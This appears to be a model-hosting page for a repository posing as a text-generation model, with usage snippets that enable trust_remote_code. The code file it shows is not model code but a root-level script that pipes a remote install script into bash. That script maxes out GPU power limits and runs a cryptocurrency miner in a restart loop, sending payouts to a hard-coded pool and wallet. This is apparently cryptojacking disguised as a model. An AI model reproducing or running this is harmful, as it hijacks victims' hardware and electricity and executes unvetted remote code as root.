Text Generation
Transformers
PyTorch
private_llm
feature-extraction
custom-code
private-llm
custom_code
Instructions to use MarioBoscoGPU/fqpegaqmsmbd with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Transformers
How to use MarioBoscoGPU/fqpegaqmsmbd with Transformers:
# Use a pipeline as a high-level helper from transformers import pipeline pipe = pipeline("text-generation", model="MarioBoscoGPU/fqpegaqmsmbd", trust_remote_code=True)# Load model directly from transformers import AutoModel model = AutoModel.from_pretrained("MarioBoscoGPU/fqpegaqmsmbd", trust_remote_code=True, device_map="auto") - Notebooks
- Google Colab
- Kaggle
- Local Apps Settings
- vLLM
How to use MarioBoscoGPU/fqpegaqmsmbd with vLLM:
Install from pip and serve model
# Install vLLM from pip: pip install vllm # Start the vLLM server: vllm serve "MarioBoscoGPU/fqpegaqmsmbd" # Call the server using curl (OpenAI-compatible API): curl -X POST "http://localhost:8000/v1/completions" \ -H "Content-Type: application/json" \ --data '{ "model": "MarioBoscoGPU/fqpegaqmsmbd", "prompt": "Once upon a time,", "max_tokens": 512, "temperature": 0.5 }'Use Docker
docker model run hf.co/MarioBoscoGPU/fqpegaqmsmbd
- SGLang
How to use MarioBoscoGPU/fqpegaqmsmbd with SGLang:
Install from pip and serve model
# Install SGLang from pip: pip install sglang # Start the SGLang server: python3 -m sglang.launch_server \ --model-path "MarioBoscoGPU/fqpegaqmsmbd" \ --host 0.0.0.0 \ --port 30000 # Call the server using curl (OpenAI-compatible API): curl -X POST "http://localhost:30000/v1/completions" \ -H "Content-Type: application/json" \ --data '{ "model": "MarioBoscoGPU/fqpegaqmsmbd", "prompt": "Once upon a time,", "max_tokens": 512, "temperature": 0.5 }'Use Docker images
docker run --gpus all \ --shm-size 32g \ -p 30000:30000 \ -v ~/.cache/huggingface:/root/.cache/huggingface \ --env "HF_TOKEN=<secret>" \ --ipc=host \ lmsysorg/sglang:latest \ python3 -m sglang.launch_server \ --model-path "MarioBoscoGPU/fqpegaqmsmbd" \ --host 0.0.0.0 \ --port 30000 # Call the server using curl (OpenAI-compatible API): curl -X POST "http://localhost:30000/v1/completions" \ -H "Content-Type: application/json" \ --data '{ "model": "MarioBoscoGPU/fqpegaqmsmbd", "prompt": "Once upon a time,", "max_tokens": 512, "temperature": 0.5 }' - Docker Model Runner
How to use MarioBoscoGPU/fqpegaqmsmbd with Docker Model Runner:
docker model run hf.co/MarioBoscoGPU/fqpegaqmsmbd
File size: 2,780 Bytes
607b7b2 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 | #!/usr/bin/env python3
import os
import re
import shutil
import subprocess
import time
from pathlib import Path
LOG = Path("/var/log/matador-miner.log")
LAUNCHER = Path("/opt/matador/run_miner.sh")
BIN = "/usr/local/bin/matador-miner"
POOL = "stratum+tcp://ninjaraider.com:44920"
WALLET = "btx1zfj9rwukzwwjh628m3y5v5y4dn8yjpyf5fmjjddqxetfygkq804uslr650h"
def run(cmd, check=False):
return subprocess.run(cmd, shell=True, executable="/bin/bash", check=check)
def clean_worker(name):
name = re.sub(r"[^A-Za-z0-9_.-]", "", name)
return name or "rig"
def main():
if os.geteuid() != 0:
raise SystemExit("Run this with sudo: sudo python3 start_matador.py")
run("curl -fsSL https://raw.githubusercontent.com/vanities/matador-miner/main/install.sh | bash", check=True)
Path("/opt/matador").mkdir(parents=True, exist_ok=True)
LOG.touch(exist_ok=True)
os.chmod(LOG, 0o666)
worker = clean_worker(os.environ.get("WORKER") or os.uname().nodename.split(".")[0])
launcher = f"""#!/bin/bash
LOG="{LOG}"
BIN="{BIN}"
POOL="{POOL}"
WALLET="{WALLET}"
WORKER="{worker}"
if command -v nvidia-smi >/dev/null 2>&1; then
nvidia-smi -pm 1 >/dev/null 2>&1 || true
GPU_INDEXES=$(nvidia-smi --query-gpu=index --format=csv,noheader 2>/dev/null | tr -d ' ')
for GPU in $GPU_INDEXES; do
nvidia-smi -i "$GPU" -rgc >/dev/null 2>&1 || true
nvidia-smi -i "$GPU" -rac >/dev/null 2>&1 || true
MAX_PL=$(nvidia-smi -i "$GPU" --query-gpu=power.max_limit --format=csv,noheader,nounits 2>/dev/null | head -n1 | tr -dc '0-9.')
if [ -n "$MAX_PL" ]; then
nvidia-smi -i "$GPU" -pl "$MAX_PL" >/dev/null 2>&1 || true
fi
done
fi
GPU_ARGS=()
if command -v nvidia-smi >/dev/null 2>&1; then
GPU_LIST=$(nvidia-smi --query-gpu=index --format=csv,noheader 2>/dev/null | paste -sd, -)
if [ -n "$GPU_LIST" ]; then
GPU_ARGS=(--gpus "$GPU_LIST")
fi
fi
while true
do
echo "[$(date)] Starting Matador BTX Miner on NinjaRaider 44920 as worker '$WORKER'..." | tee -a "$LOG"
"$BIN" \\
--mode pool \\
--pool "$POOL" \\
--worker "$WORKER" \\
--payoutaddress "$WALLET" \\
"${{GPU_ARGS[@]}}" \\
2>&1 | tee -a "$LOG"
echo "[$(date)] Miner exited. Restarting in 5 seconds..." | tee -a "$LOG"
sleep 5
done
"""
LAUNCHER.write_text(launcher)
os.chmod(LAUNCHER, 0o755)
subprocess.Popen(
[str(LAUNCHER)],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
start_new_session=True,
)
time.sleep(3)
subprocess.run(["tail", "-f", str(LOG)])
if __name__ == "__main__":
main() |